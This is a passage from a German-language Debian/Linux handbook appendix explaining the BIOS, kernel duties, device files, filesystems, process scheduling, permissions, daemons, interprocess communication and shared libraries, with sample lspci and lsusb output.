Das BIOS ist auch dafür zuständig, eine Anzahl von Geräten zu finden und zu initialisieren. Offensichtlich gehören hierzu die IDE/SATA-Geräte (normalerweise Festplatten und CD/DVD-ROM-Laufwerke) aber auch PCI-Geräte. Erkannte Geräte werden häufig während des Hochfahrens auf dem Bildschirm angezeigt. Falls diese Liste zu schnell vorbeiläuft, können Sie die Pause-Taste drücken, um sie zum Lesen anzuhalten. PCI-Geräte, die installiert sind, aber nicht angezeigt werden, sind ein schlechtes Zeichen. Im schlimmsten Fall ist das Gerät defekt. Im besten Fall ist es nur nicht mit der aktuellen Version des BIOS oder der Hauptplatine kompatibel. PCI-Spezifikationen entwickeln sich weiter, und bei alten Hauptplatinen ist nicht gewährleistet, dass sie mit neueren PCI-Geräten umgehen können.

B.3.3. Der Kernel

Sowohl das BIOS als auch der Boot-Loader laufen jeweils nur für einige Sekunden; wir gelangen nun zur ersten Software, die länger läuft: dem Betriebssystem-Kernel. Dieser Kernel nimmt die Rolle eines Orchesterdirigenten ein und gewährleistet die Koordination zwischen Hardware und Software. Zu dieser Rolle gehören mehrere Aufgaben, unter anderem: Hardware betreiben, Prozesse verwalten, Benutzer und Berechtigungen, das Dateisystem und so weiter. Der Kernel stellt eine gemeinsame Grundlage für alle anderen Programme des Systems zur Verfügung.

B.3.4. Die Anwendungsebene

Obwohl alles, was außerhalb des Kernels geschieht, unter dem Begriff „Anwendungsebene“ zusammengefasst werden kann, können wir sie dennoch in verschiedene Software-Ebenen unterteilen. Ihr Zusammenwirken ist jedoch komplexer als zuvor, und die Unterteilungen sind manchmal nicht gerade einfach. Eine Anwendung verwendet normalerweise Bibliotheken, die wiederum den Kernel einbeziehen, die Kommunikation kann aber auch andere Programme einbeziehen, oder zahlreiche Bibliotheken können sich sogar gegenseitig aufrufen.

B.4. Einige vom Kernel erledigte Aufgaben

B.4.1. Die Hardware steuern

Es ist vor allem Aufgabe des Kernels, die Hardwareelemente zu steuern, sie zu erkennen, sie einzuschalten, wenn der Rechner angeschaltet wird, und so weiter. Er macht sie auch über eine vereinfachte Programmierschnittstelle für die Software auf höherer Ebene verfügbar, so dass Anwendungen Geräte nutzen können, ohne sich um Einzelheiten kümmern zu müssen, wie zum Beispiel, in welchen Erweiterungssteckplatz die Optionsplatine eingesteckt ist. Die Programmierschnittstelle stellt auch eine Abstraktionsschicht zur Verfügung; diese ermöglicht es zum Beispiel einer Videokonferenz-Anwendung, eine Webkamera unabhängig von ihrer Marke und ihrem Modell zu verwenden. Die Anwendung kann einfach die Schnittstelle Video for Linux (V4L) benutzen, und der Kernel übersetzt die Funktionsaufrufe dieser Schnittstelle in die tatsächlichen Hardwarebefehle, die von der konkret verwendeten Webkamera benötigt werden.

Der Kernel exportiert über die virtuellen Dateisysteme /proc/ und /sys/ zahlreiche Einzelheiten über die erkannte Hardware. Verschiedene Hilfsprogramme fassen diese Einzelheiten zusammen. Von ihnen zeigt lspci (im Paket pciutils) eine Liste der PCI-Geräte an, lsusb (im Paket usbutils) führt USB-Geräte auf und lspcmcia (im Paket pcmciautils) PCMCIA-Karten. Diese Hilfsprogramme sind zur Identifizierung des genauen Modells eines Geräts sehr hilfreich. Diese Identifizierung ermöglicht auch ein genaueres Suchen im Web, das wiederum zu relevanteren Dokumenten führt.

Example B.1. Beispiel der von lspci und lsusb angezeigten Informationen

$ lspci [...] 00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03) 00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03) 00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03) [...] 01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01) 02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05) $ lsusb Bus 005 Device 004: ID 413c:a005 Dell Computer Corp. Bus 005 Device 008: ID 413c:9001 Dell Computer Corp. Bus 005 Device 007: ID 045e:00dd Microsoft Corp. Bus 005 Device 006: ID 046d:c03d Logitech, Inc. [...] Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

Diese Programme haben eine Option -v, durch die wesentlich detailliertere (aber gewöhnlich nicht erforderliche) Informationen angezeigt werden. Schließlich listet der Befehl lsdev (im Paket procinfo) die von den Geräten benutzten Kommunikationsressourcen auf.

Anwendungen greifen häufig mittels spezieller in /dev/ erzeugter Dateien auf Geräte zu (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte). Dies sind besondere Dateien, die Plattenlaufwerke (zum Beispiel /dev/hda und /dev/sdc), Partitionen (/dev/hda1 oder /dev/sdc3), Mäuse (/dev/input/mouse0), Tastaturen (/dev/input/event0), Soundkarten (/dev/snd/*), serielle Schnittstellen (/dev/ttyS*) und so weiter repräsentieren.

B.4.2. Dateisysteme

Dateisysteme sind einer der bedeutendsten Aspekte des Kernels. Unix-Systeme vereinen alle Dateispeicher in einer gemeinsamen Hierarchie, die es Benutzern (und Anwendungen) ermöglicht, auf Daten einfach durch Kenntnis ihres Ortes innerhalb dieser Hierarchie zuzugreifen.

Der Ausgangspunkt dieses Hierarchiebaums wird „root“ genannt, /. Dieses Verzeichnis kann mit Namen versehene Unterverzeichnisse enthalten. Das Unterverzeichnis home von / wird beispielsweise /home/ genannt. Dieses Unterverzeichnis kann wiederum weitere Unterverzeichnisse enthalten und so weiter. Jedes Verzeichnis kann auch Dateien enthalten, in denen die tatsächlichen Daten gespeichert sind. So bezieht sich /home/rmas/Desktop/hello.txt auf eine Datei namens hello.txt, die im Unterverzeichnis Desktop des Unterverzeichnisses rmas des Verzeichnisses home gespeichert ist, das sich in root befindet. Der Kernel übersetzt zwischen diesem Benennungssystem und dem tatsächlichen, physikalischen Speicherort auf einer Platte.

Im Gegensatz zu anderen Systemen gibt es nur eine derartige Hierarchie, und sie kann Daten verschiedener Speicherplatten einbinden. Eine dieser Platten wird als Wurzelverzeichnis verwendet, und die übrigen werden innerhalb der Hierarchie in Verzeichnissen „eingehängt“ (der entsprechende Unixbefehl heißt mount); diese anderen Platten sind dann unter ihren „Einhängepunkten“ verfügbar. Hierdurch wird es möglich, die Home-Verzeichnisse der Benutzer (üblicherweise in /home/ gespeichert) auf einer zweiten Festplatte abzuspeichern, die dann Verzeichnisse wie rhertzog und rmas enthält. Sobald diese Platte auf /home/ eingehängt ist, sind diese Verzeichnisse an ihren üblichen Orten zugänglich, und Pfade wie /home/rmas/Desktop/hello.txt funktionieren weiterhin.

Es gibt zahlreiche Dateisysteme entsprechend den zahlreichen Arten, auf die Daten physisch auf Platten gespeichert werden. Die bekanntesten sind ext2, ext3 und ext4, es gibt aber auch andere. vfat ist zum Beispiel das System, das ursprünglich von DOS und den Windows-Betriebssystemen verwendet wurde, mit dem es möglich ist, Festplatten sowohl unter Debian als auch unter Windows zu benutzen. In jedem Fall muss auf einer Platte ein Dateisystem eingerichtet werden, bevor sie eingehängt werden kann, und dieser Vorgang wird als „formatieren“ bezeichnet. Befehle wie mkfs.ext3 (wobei mkfs für MaKe FileSystem steht) erledigen das Formatieren. Diese Befehle benötigen als einen ihrer Parameter eine Gerätedatei, die die zu formatierende Partition darstellt (zum Beispiel /dev/sda1). Dieser Vorgang ist löschend und sollte nur einmal ausgeführt werden, es sei denn, man möchte absichtlich ein Dateisystem unwiederbringlich löschen und von Neuem beginnen.

Es gibt sogar Netzwerk-Dateisysteme, wie zum Beispiel NFS, bei denen Daten nicht auf einer lokalen Platte gespeichert sind. Stattdessen werden Daten über das Netzwerk zu einem Server übertragen, der sie nach Bedarf speichert und abruft. Die Dateisystem-Abstraktion bewahrt Benutzer davor, sich darum kümmern zu müssen: Dateien bleiben in ihrer üblichen hierarchischen Weise zugänglich.

B.4.3. Gemeinsam genutzte Funktionen

Da eine Anzahl von Funktionen von allen Programmen gemeinsam benutzt wird, macht es Sinn, sie im Kernel zusammenzufassen. Zum Beispiel ermöglicht der Einsatz eines gemeinsam benutzten Dateisystems es jeder Anwendung, einfach eine Datei anhand ihres Namens zu öffnen, ohne sich darum zu kümmern, wo die Datei physisch gespeichert ist. Die Datei kann in mehreren Teilen auf einer Festplatte gespeichert sein, über mehrere Festplatten verteilt sein oder sogar auf einem entfernten Dateiserver abgelegt sein. Gemeinsam genutzte Kommunikationsfunktionen werden von Anwendungen dazu verwendet, Daten unabhängig von der Art, auf der sie transportiert werden, auszutauschen. Zum Beispiel könnte der Transport über eine beliebige Kombination aus lokalen und kabellosen Netzwerken oder über eine Festnetztelefonleitung verlaufen.

B.4.4. Prozesse verwalten

Ein Prozess führt ein Programm aus. Dies erfordert Speicherplatz, um sowohl das Programm selbst als auch seine Betriebsdaten zu speichern. Es ist die Aufgabe des Kernels, sie zu erzeugen und zu verfolgen. Wenn ein Programm läuft, reserviert der Kernel zunächst Speicherplatz, lädt dann den ausführbaren Code aus dem Dateisystem in den Speicher und beginnt schließlich, den Code auszuführen. Er hält Informationen über diesen Prozess bereit, von denen die am leichtesten erkennbare eine Identifikationsnummer namens pid (process identifier) ist.

Unix-artige Kernel (einschließlich Linux) sind, wie die meisten anderen modernen Betriebssysteme, fähig, im „Mehrprozessbetrieb“ zu laufen. Mit anderen Worten ermöglichen sie die Ausführung zahlreicher Prozesse „zur gleichen Zeit“. In Wirklichkeit läuft zu einem bestimmten Zeitpunkt immer nur ein Prozess, aber der Kernel teilt die Zeit in kleine Abschnitte auf und führt reihum jeden Prozess aus. Da diese Zeitabschnitte sehr kurz sind (im Bereich von Tausendstelsekunden), entsteht die Illusion, dass die Prozesse parallel laufen, obwohl sie jeweils nur während bestimmter Zeitabschnitte aktiv sind und im übrigen untätig. Die Aufgabe des Kernels besteht darin, seinen Zeitplanungsmechanismus so anzupassen, dass diese Illusion erhalten bleibt, und gleichzeitig die allgemeine Systemleistung maximiert wird. Wenn die Zeitabschnitte zu lang sind, könnte es der Anwendung an Wendigkeit und Interaktivität mit dem Benutzer mangeln. Zu kurz, und das System verliert Zeit durch zu häufiges Umschalten zwischen den Aufgaben. Diese Entscheidungen können mithilfe von Prozessprioritäten optimiert werden. Prozesse mit hoher Priorität laufen länger und häufiger als Prozesse mit niedriger Priorität.

HINWEIS Multiprozessorsysteme (und Varianten)

Die hier beschriebene Einschränkung ist lediglich ein Ausnahmefall. Die tatsächliche Einschränkung besteht darin, dass zu einem gegebenen Zeitpunkt immer nur ein Prozess je Prozessorkern laufen kann. Multiprozessor-, Multikern- oder „Hyper-Threading“-Systeme ermöglichen die parallele Ausführung mehrerer Prozesse. Das gleiche Zeitunterteilungssystem wird zwar weiterhin verwendet, jetzt jedoch dazu, mit Situationen umzugehen, in denen es mehr aktive Prozesse als verfügbare Prozessorkerne gibt. Dies ist der Normalfall: ein einfaches System, selbst wenn es weitgehend nichts tut, führt fast ständig Dutzende von Prozessen aus.

Natürlich ermöglicht der Kernel es auch, mehrere unabhängige Instanzen desselben Programms auszuführen. Jedoch kann jede von ihnen nur auf ihre eigenen Zeitabschnitte und ihren eigenen Speicherplatz zugreifen. Ihre Daten bleiben daher voneinander unabhängig.

B.4.5. Rechteverwaltung

Unix-artige Systeme sind auch Mehrplatzsysteme. Sie verfügen über ein Rechteverwaltungssystem, das getrennte Gruppen und Benutzer ermöglicht und auf der Basis von Berechtigungen die Auswahl zwischen dem Zulassen und Blockieren von Aktionen. Der Kernel verwaltet für jeden Prozess die Daten, die es ermöglichen, Berechtigungen zu überprüfen. Meistens bedeutet dies, dass die „Identität“ eines Prozesses die gleiche ist, wie die des Benutzers, der ihn gestartet hat. Und der Prozess kann nur die Aktionen ausführen, die auch dem Benutzer erlaubt sind. Zum Beispiel muss der Kernel beim Versuch, eine Datei zu öffnen, die Identität des Prozesses hinsichtlich der Zugriffsberechtigungen überprüfen (für mehr Einzelheiten zu diesem speziellen Beispiel siehe Section 9.3, “Berechtigungen verwalten”).

B.5. Die Anwendungsebene

„Anwendungsebene“ bezieht sich auf die Laufzeitumgebung normaler Prozesse im Gegensatz zu Kernelprozessen. Das bedeutet nicht unbedingt, dass diese Prozesse tatsächlich von Benutzern gestartet wurden, da auf einem Standardsystem üblicherweise bereits mehrere „Daemon“-Prozesse laufen, bevor ein Benutzer überhaupt eine Sitzung eröffnet. Daemon-Prozesse sind Prozesse der Anwendungsebene.

B.5.1. Prozess

Wenn der Kernel seine Initialisierungsphase beendet hat, startet er den ersten Prozess, init. Prozess #1 ist für sich selbst kaum nützlich, und Unix-artige Systeme laufen mit allen möglichen Arten von Prozessen.

Zunächst einmal kann sich ein Prozess kopieren (dies wird als Fork bezeichnet). Der Kernel teilt einen neuen, aber gleichgroßen Prozess-Speicherplatz zu und einen weiteren Prozess, um ihn zu nutzen. Zu diesem Zeitpunkt besteht der einzige Unterschied zwischen den beiden Prozessen in ihrer PID. Der neue Prozess wird üblicherweise Kindprozess genannt, und der Prozess, dessen PID sich nicht ändert, Elternprozess.

Manchmal fährt der Kindprozess fort, sein eigenes Leben unabhängig vom Elternprozess zu führen, mit seinen eigenen, vom Elternprozess kopierten Daten. In vielen Fällen führt der Kindprozess jedoch ein anderes Programm aus. Bis auf wenige Ausnahmen wird sein Speicher einfach durch den Speicher des neuen Programms ersetzt, und die Ausführung dieses neuen Programms beginnt. Eine der ersten Aktionen von Prozess 1 besteht daher darin, sich zu verdoppeln (das heißt, dass es für eine winzige Zeitspanne zwei laufende Exemplare desselben init-Prozesses gibt), jedoch wird der Kindprozess dann durch das erste Systeminitialisierungsskript ersetzt, normalerweise durch /etc/init.d/rcS. Dieses Skript kopiert sich seinerseits und führt mehrere andere Programme aus. Zu einem bestimmten Zeitpunkt startet ein Prozess der init-Abkömmlinge dann eine grafische Schnittstelle, über die sich Benutzer anmelden können (der tatsächliche Ablauf der Ereignisse ist in größerer Ausführlichkeit in Section 9.1, “Systemstart” beschrieben.

Wenn ein Prozess die Aufgabe, für die er gestartet wurde, erfüllt hat, beendet er sich. Anschließend nimmt der Kernel den diesem Prozess zugewiesenen Speicher wieder zurück und hört auf, Teile der Prozessorzeit zuzuteilen. Der Elternprozess wird über die Beendigung seines Kindprozesses informiert. Auf diese Weise kann ein Prozess auf den Abschluss einer Aufgabe warten, die er an einen Kindprozess übertragen hat. Dieses Verhalten ist bei Kommandozeileninterpretern (auch als Shells bekannt) deutlich zu sehen. Wenn ein Befehl in eine Shell eingegeben wird, erscheint die Eingabeaufforderung erst dann wieder, wenn die Ausführung des Befehls beendet ist. Die meisten Shells ermöglichen eine Ausführung des Befehls im Hintergrund. Dazu wird einfach ein & an das Ende des Befehls angehängt. Die Eingabeaufforderung wird dann sofort wieder angezeigt, was jedoch zu Problemen führen kann, wenn das abgesetzte Kommando seine eigenen Daten anzeigen muss.

B.5.2. Daemons

Ein „Daemon“ ist ein Prozess, der beim Hochfahren automatisch gestartet wird. Er läuft (im Hintergrund) weiter, um Verwaltungsaufgaben zu erledigen oder Dienste für andere Prozesse bereitzustellen. Diese „Hintergrundaufgabe“ ist genau genommen willkürlich und entspricht aus Sicht des Systems nichts Bestimmtem. Es sind, wie andere Prozesse auch, einfach Prozesse, die reihum laufen, wann immer ihr zugeteilter Zeitabschnitt kommt. Eine Unterscheidung gibt es nur in der menschlichen Sprache: ein Prozess, der ohne eine Interaktion mit einem Benutzer läuft (insbesondere ohne eine grafische Schnittstelle), wird als „im Hintergrund“ laufend oder als „Daemon“ bezeichnet.

WÖRTERVERZEICHNIS Daemon, Dämon, eine abwertende Bezeichnung?

Obwohl die Bezeichnung Daemon ihren griechischen Ursprung mit Dämon teilt, unterstellt erstere nichts teuflisch Übles, im Gegenteil sollte sie als eine Art hilfreicher Geist verstanden werden. Diese Unterscheidung ist im Englischen bereits recht subtil, in anderen Sprachen ist es jedoch noch schlimmer, in denen dasselbe Wort in beiden Bedeutungen verwendet wird.

Mehrere solcher Daemons sind ausführlich in Chapter 9, Unix-Dienste beschrieben.

B.5.3. Interprozesskommunikationen

Ein einzelner Prozess, ob ein Daemon oder eine interaktive Anwendung, ist selten für sich genommen nützlich. Daher gibt es verschiedene Methoden, um getrennten Prozessen die Kommunikation miteinander zu ermöglichen, entweder um Daten auszutauschen oder um sich gegenseitig zu steuern. Die allgemeine Bezeichnung hierfür lautet Interprozesskommunikation oder abgekürzt IPC.

Das einfachste IPC-System besteht darin, Dateien zu verwenden. Der Prozess, der Daten übersenden möchte, schreibt sie in eine Datei (mit einem zuvor bekannten Namen), während der Empfänger nur die Datei zu öffnen und den Inhalt zu lesen braucht.

In den Fällen, in denen man keine Daten auf einer Platte speichern möchte, kann man eine Pipe benutzen, die einfach ein Objekt mit zwei Enden ist; Bytes, die am einen Ende geschrieben werden, können am anderen gelesen werden. Wenn diese Enden von verschiedenen Prozessen kontrolliert werden, führt dies zu einem einfachen und praktischen Interprozesskommunikationskanal. Pipes können in zwei Arten unterschieden werden: benannte Pipes und anonyme Pipes. Eine benannte Pipe wird durch einen Eintrag im Dateisystem dargestellt (obwohl die übermittelten Daten dort nicht gespeichert sind), so dass beide Prozesse sie unabhängig voneinander öffnen können, falls der Ort der benannten Pipe vorab bekannt ist. In Fällen, in denen die Kommunikationsprozesse in Zusammenhang miteinander stehen (zum Beispiel ein Eltern- und sein Kindprozess), kann der Elternprozess auch eine anonyme Pipe erstellen, bevor er sich vervielfältigt, und der Kindprozess übernimmt sie dann. Beide Prozesse können sodann durch diese Pipe Daten miteinander austauschen, ohne das Dateisystem zu benötigen.

IN DER PRAXIS Ein konkretes Beispiel

Lassen Sie uns beschreiben, was geschieht, wenn ein komplexer Befehl (eine Pipeline) von einer Konsole aus ausgeführt wird. Wir nehmen an, dass wir einen bash-Prozess haben (die standardmäßige Benutzerkonsole bei Debian) mit der PID 4374; in diese Konsole schreiben wir den Befehl: ls | sort.

Die Konsole interpretiert zunächst den eingegebenen Befehl. In unserem Fall versteht sie, dass es zwei Programme gibt (ls und sort) mit einem Datenstrom, der vom einen zum anderen fließt (gekennzeichnet durch das |-Zeichen, das als Pipe bezeichnet wird). bash erstellt zunächst eine anonyme Pipe (die anfangs nur innerhalb des bash-Prozesses selbst besteht).

Dann vervielfältigt sich die Konsole; dies führt zu einem neuen bash-Prozess mit der PID 4521 (PIDs sind abstrakte Zahlen und haben im Allgemeinen keine besondere Bedeutung). Prozess 4521 übernimmt die Pipe, was bedeutet, das er auf ihrer „Eingabe“-Seite schreiben kann; bash leitet seinen Standardausgabestrom auf die Eingabe dieser Pipe um. Dann führt es das Programm ls aus, das den Inhalt des aktuellen Verzeichnisses auflistet (und ersetzt sich selbst durch dieses Programm). Da ls auf seine Standardausgabe schreibt und diese Ausgabe zuvor umgeleitet wurde, werden die Ergebnisse im Endeffekt in die Pipe geschickt.

Ein ähnlicher Vorgang findet beim zweiten Befehl statt: bash vervielfältigt sich wieder, was zu einem neuen bash-Prozess mit der PID 4522 führt. Da er ebenfalls ein Kindprozess von 4374 ist, übernimmt er auch die Pipe; bash verbindet dann seine Standardeingabe mit der Pipeausgabe und führt danach den Befehl sort aus, der seine Eingabe sortiert und die Ergebnisse anzeigt (und ersetzt sich selbst durch diesen Befehl).

Alle Teile des Puzzles stehen nun bereit: ls schreibt die Liste der Dateien des aktuellen Verzeichnisses in die Pipe; sort liest diese Liste, sortiert sie alphabetisch und zeigt die Ergebnisse an. Die Prozesse 4521 und 4522 enden dann, und 4374 (der während des Vorgangs auf sie gewartet hatte) übernimmt wieder die Kontrolle und zeigt die Eingabeaufforderung an, die es dem Benutzer ermöglicht, einen neuen Befehl einzugeben.

Jedoch werden nicht alle Interprozesskommunikationen zur Übermittlung von Daten benutzt. In vielen Situationen bestehen die einzigen Informationen, die übertragen werden müssen, aus Steuerungsmitteilungen wie „Ausführung anhalten“ oder „Ausführung fortsetzen“. Unix (und Linux) stellen einen Mechanismus bereit, der Signale genannt wird, durch den ein Prozess einfach ein Signal (aus einer festgelegten Liste mit Dutzenden vordefinierter Signale) an einen anderen Prozess senden kann. Die einzige Voraussetzung besteht hierbei darin, dass die PID des Zielprozesses bekannt ist.

Für komplexere Kommunikationen gibt es ebenfalls Mechanismen, die es einem Prozess ermöglichen, einem anderen Prozess Zugriff auf einen Teil des ihm zugeteilten Speicherplatzes zu gewähren oder ihn gemeinsam mit ihm zu benutzen. Der gemeinsam benutzte Speicherplatz ermöglicht es dann, Daten zu übermitteln.

Schließlich können auch Netzwerkverbindungen Prozessen helfen, miteinander zu kommunizieren; diese Prozesse können sogar auf verschiedenen Rechnern laufen, möglicherweise tausende von Kilometern voneinander entfernt.

Es ist für ein typisches Unix-artiges System recht normal, all diese Mechanismen in wechselndem Umfang zu verwenden.

B.5.4. Bibliotheken

Programmbibliotheken spielen in einem Unix-artigen Betriebssystem eine entscheidende Rolle. Sie sind nicht wirklich Programme, da sie für sich allein nicht ausgeführt werden können, sondern Ansammlungen von Code-Fragmenten, die von Standardprogrammen verwendet werden können. Unter den gängigen Bibliotheken sind vor allem folgende erwähnenswert:

die Standard-C-Bibliothek (glibc), die grundlegende Funktionen enthält wie das Öffnen von Dateien und von Netzwerkverbindungen und andere unterstützende Interaktionen mit dem Kernel;

grafische Werkzeugsätze, wie zum Beispiel Gtk+ und Qt, die es vielen Programmen ermöglichen, die grafischen Objekte, die sie bereitstellen, ihrerseits zu verwenden;

die libpng-Bibliothek, die das Laden, Interpretieren und Speichern von Bildern im PNG-Format ermöglicht.

Dank dieser Bibliotheken können Anwendungen bestehenden Code wiederverwenden. Ihre Entwicklung wird hierdurch entsprechend vereinfacht, insbesondere, wenn viele Anwendungen die gleichen Funktionen wiederverwenden. Da Bibliotheken häufig von verschiedenen Personen entwickelt werden, steht die allgemeine Entwicklung dieses Systems der historischen Philosophie von Unix sehr nahe.

KULTUR Der Unix-Methode: Eins nach dem Anderen

Eines der wesentlichen Konzepte, das der Unix-Familie von Betriebssystemen zugrunde liegt, ist, dass jedes Werkzeug nur eine Sache erledigen sollte, und dass es diese gut machen sollte; Anwendungen können dann diese Werkzeuge wiederverwenden, um damit eine höhere Logik aufzubauen. Diese Methode ist in vielen Verkörperungen zu erkennen. Shellskripte sind vielleicht das beste Beispiel: sie fügen komplexe Folgen sehr einfacher Werkzeuge zusammen (wie zum Beispiel grep, wc, sort, uniq und so weiter). Eine andere Umsetzung dieser Philosophie ist in den Code-Bibliotheken zu erkennen: die Bibliothek libpng ermöglicht es, PNG-Bilder mit verschiedenen Optionen und auf verschiedene Weise zu lesen und zu schreiben, aber sie tut nur das; es kommt nicht infrage, dass ihr Funktionsmerkmale hinzugefügt werden, die Bilder anzeigen oder editieren.

Ferner werden diese Bibliotheken häufig als „gemeinsam benutzte Bibliotheken“ bezeichnet, da der Kernel sie nur einmal in den Speicher laden kann, selbst wenn gleichzeitig mehrere Prozesse dieselbe Bibliothek nutzen. Hierdurch kann im Vergleich zur entgegengesetzten (hypothetischen) Situation, bei der der Bibliothekscode so viele Male geladen würde, wie es Prozesse gibt, die ihn benutzen, Speicherplatz gespart werden.